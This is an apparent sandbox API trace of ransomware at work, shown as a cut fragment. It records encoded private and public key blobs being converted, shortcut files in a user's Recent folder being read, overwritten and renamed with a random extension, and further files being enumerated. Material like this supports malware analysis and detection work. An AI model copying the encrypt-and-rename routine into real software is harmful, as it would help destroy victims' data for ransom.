2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f6396c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.220] GetCurrentThreadId () returned 0xa30 [0081.220] GetCurrentThreadId () returned 0xa30 [0081.220] GetCurrentThreadId () returned 0xa30 [0081.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f749cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.221] GetCurrentThreadId () returned 0xa30 [0081.221] GetCurrentThreadId () returned 0xa30 [0081.221] GetCurrentThreadId () returned 0xa30 [0081.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh8R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dh8r.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.222] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.222] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.222] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x12ee [0081.222] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.222] ReadFile (in: hFile=0x124, lpBuffer=0x1f7c7d0, nNumberOfBytesToRead=0x12ee, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f7c7d0*, lpNumberOfBytesRead=0x18f96c*=0x12ee, lpOverlapped=0x0) returned 1 [0081.223] CloseHandle (hObject=0x124) returned 1 [0081.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh8R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dh8r.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.225] WriteFile (in: hFile=0x124, lpBuffer=0x1f7e800*, nNumberOfBytesToWrite=0x12ee, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f7e800*, lpNumberOfBytesWritten=0x18f978*=0x12ee, lpOverlapped=0x0) returned 1 [0081.226] CloseHandle (hObject=0x124) returned 1 [0081.227] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh8R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dh8r.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh8R.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dh8r.lnk.zv7un")) returned 1 [0081.228] GetCurrentThreadId () returned 0xa30 [0081.228] GetCurrentThreadId () returned 0xa30 [0081.228] GetCurrentThreadId () returned 0xa30 [0081.228] GetCurrentThreadId () returned 0xa30 [0081.229] GetCurrentThreadId () returned 0xa30 [0081.229] GetCurrentThreadId () returned 0xa30 [0081.229] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d143a20, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d143a20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d143a20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="drHcU2ILp K.lnk", cAlternateFileName="DRHCU2~1.LNK")) returned 1 [0081.229] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.229] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.229] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\drHcU2ILp K.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\drhcu2ilp k.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d143a20, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d143a20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d143a20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf64)) returned 1 [0081.229] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\drHcU2ILp K.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\drhcu2ilp k.lnk")) returned 0x20 [0081.229] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\drHcU2ILp K.lnk", dwFileAttributes=0x80) returned 1 [0081.232] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.232] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3